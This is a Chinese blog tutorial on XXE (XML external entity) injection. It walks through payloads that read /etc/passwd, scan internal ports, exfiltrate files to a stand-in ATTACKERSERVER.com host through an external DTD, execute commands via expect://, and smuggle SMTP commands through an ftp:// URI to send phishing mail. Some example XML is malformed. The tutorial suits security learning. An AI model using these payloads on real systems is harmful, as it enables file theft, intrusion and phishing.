XXE漏洞详解

XXE

XXE(XML External Entity,XML外部实体注入),这种漏洞出现一般出现在当前站点允许引用外部实体的情况下,如果攻击者构造恶意内容,就可以造成命令执行、内网端口探测等危害,如果和ssrf攻击结合,那场面那效果,如虎添翼一般。

XML

从XXE的明明也可以看得出来,XML是我们必须了解的东西。XML指可扩展标记语言,用于标记电子文件使其具有结构性。通俗来说,xml就是客户端向服务器端呈递信息的载体,里面的元素如username、password等等都是我们熟知的信息。它比html一个很明显优越的地方就是我们可以自己定义标签,如我们呈递一份关于学生信息的表单,可以长成这个样子:

<?xml version="1..0"?>
<student>
<useername>WittPeng</username>
<password>whytellyou</password>
<address>China</address>
</student>

DTD

XML文档中可以包含标识符定义的实体,此时文档会在DOCTYPE头部标签中呈现,而通过这种方式定义的实体能够访问本地或者远程的内容。

按照他们做前端的业内人士所定义的,这个叫做DTD(The document type definition,文档类型定义),可被成行地声明于XML文档中,也可作为外部引用。DTD可以很好地规范所有标记的属性,它的详细作用介绍可以看这儿:https://www.cnblogs.com/xiongmanli/p/6101899.html

https://www.jianshu.com/p/77f2181587a4找到一个很好的例子:

<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT structure name (structure element1 ,element1 ,...>
<!ELEMENT element name) data type>

<structure>
<element1>data</element1>
..
..
</structure>

Internal DTD

<?xml version="1.0"?>
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

External DTD

<?xml version="1.0"?>
<!DOCTYPE root_element SYSTEM "DTD_location/message.dtd">
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>

在External中root_element就是外部实体,我们可以通过这个参数引用DTD_location/message.dtd,在服务器解析xml文档的过程中,实体名会自动替换成实体值。关键字'SYSTEM'会告诉XML解析器,实体值将会从后面的URL获取,而这个过程就是XML实体攻击过程。

而在xml文档对于外部实体的规定中,在上下文中的外部实体的XML解析器,用于引用可以在Web应用程序代码之外的位置找到数据,例如:本地或远程文件系统; 这可以使用各种众所周知的协议来检索,例如HTTP,FTP或HTTPS。 该实体的目的是通过使用统一资源定位符(URI)形式的链接帮助减少重复出现的信息的进入。

外部实体一般分为两种:私人的和公共的。私人的一般使用system标识,公共的一般使用public标识。

此时就该XXE出现了,上方代码中有一个<msg>This is an amazing book</msg>,而当进行引用实体标明时,常常是这样的:

<msg>&target_document;</msg>

 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。渗透测试中,可以尝试这三个关键字来找到适当的组合。

如下面菜鸟资料:

挖洞

这地方原理我们不要说的太多,因为我刚刚突然晕了一阵子。是这样的,再system实体引用中,服务器可能对我们构造的任意路径都会进行解析,如:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything[
<!ENTITY myentity SYSTEM="file:///etc/passwd"]>

<xxx>&myentity</xxx>

myentity通过 SYSTEM参数来实体解析远程服务器中的etc/passwd文件,导致xml外部实体攻击。

这种利用XML解析的方法很多时候回被各种对策来防御,那么我们可以破坏XML模式并生成详细错误消息,相关字符如下:

  • '
  • "
  • ''(two apostrophe)
  • ""
  • <
  • >
  • ]]>
  • ]]>>
  • \
  • /-->
  • -->

漏洞利用

这边直接引用https://www.freebuf.com/articles/web/177979.html  例子

场景1 – 端口扫描

在第一个示例中,我们通过URI将请求指向了/etc/passwd文件,并最终成功的为我们返回了文件中的内容。除此之外,我们也可以使用http URI并强制服务器向我们指定的端点和端口发送GET请求,将XXE转换为SSRF(服务器端请求伪造)。

以下代码将尝试与端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启。

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

场景2 – 通过DTD窃取文件

外部文档类型定义(DTD)文件可被用于触发OOB XXE。攻击者将.dtd文件托管在VPS上,使远程易受攻击的服务器获取该文件并执行其中的恶意命令。

以下请求将被发送到应用程序以演示和测试该方法:

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

上述代码一旦由易受攻击的服务器处理,就会向我们的远程服务器发送请求,查找包含我们的payload的DTD文件:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;

让我们花点时间了解上述请求的执行流程。结果是有两个请求被发送到了我们的服务器,第二个请求为/etc/passwd文件的内容。

在我们的VPS日志中我们可以看到,带有文件内容的第二个请求,以此我们也确认了OOB XXE漏洞的存在:

http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh

场景3 – 远程代码执行

这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>

响应:

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

场景4 – 钓鱼

我们使用Java的XML解析器找到了一个易受攻击的端点。扫描内部端口后,我们发现了一个侦听在25端口的SMTP服务,Java支持在sun.net.ftp.impl.FtpClient中的ftp URI。因此,我们可以指定用户名和密码,例如ftp://user:password@host:port/test.txt,FTP客户端将在连接中发送相应的USER命令。

但是如果我们将%0D%0A (CRLF)添加到URL的user部分的任意位置,我们就可以终止USER命令并向FTP会话中注入一个新的命令,即允许我们向25端口发送任意的SMTP命令:

ftp://a%0D%0A
EHLO%20a%0D%0A
MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A
RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A
DATA%0D%0A
From%3A%20support%40VULNERABLESYSTEM.com%0A
To%3A%20victim%40gmail.com%0A
Subject%3A%20test%0A
%0A
test!%0A
%0D%0A
.%0D%0A
QUIT%0D%0A
:[email protected]:25

当FTP客户端使用此URL连接时,以下命令将会被发送给VULNERABLESYSTEM.com上的邮件服务器:

ftp://a
EHLO a
MAIL FROM: <[email protected]>
RCPT TO: <[email protected]>
DATA
From: [email protected]
To: [email protected]
Subject: Reset your password
We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com
.
QUIT
:[email protected]:25

这意味着攻击者可以从从受信任的来源发送钓鱼邮件(例如:帐户重置链接)并绕过垃圾邮件过滤器的检测。除了链接之外,甚至我们也可以发送附件。

发布了248 篇原创文章 · 获赞 337 · 访问量 24万+

猜你喜欢

转载自blog.csdn.net/qq_37865996/article/details/98937827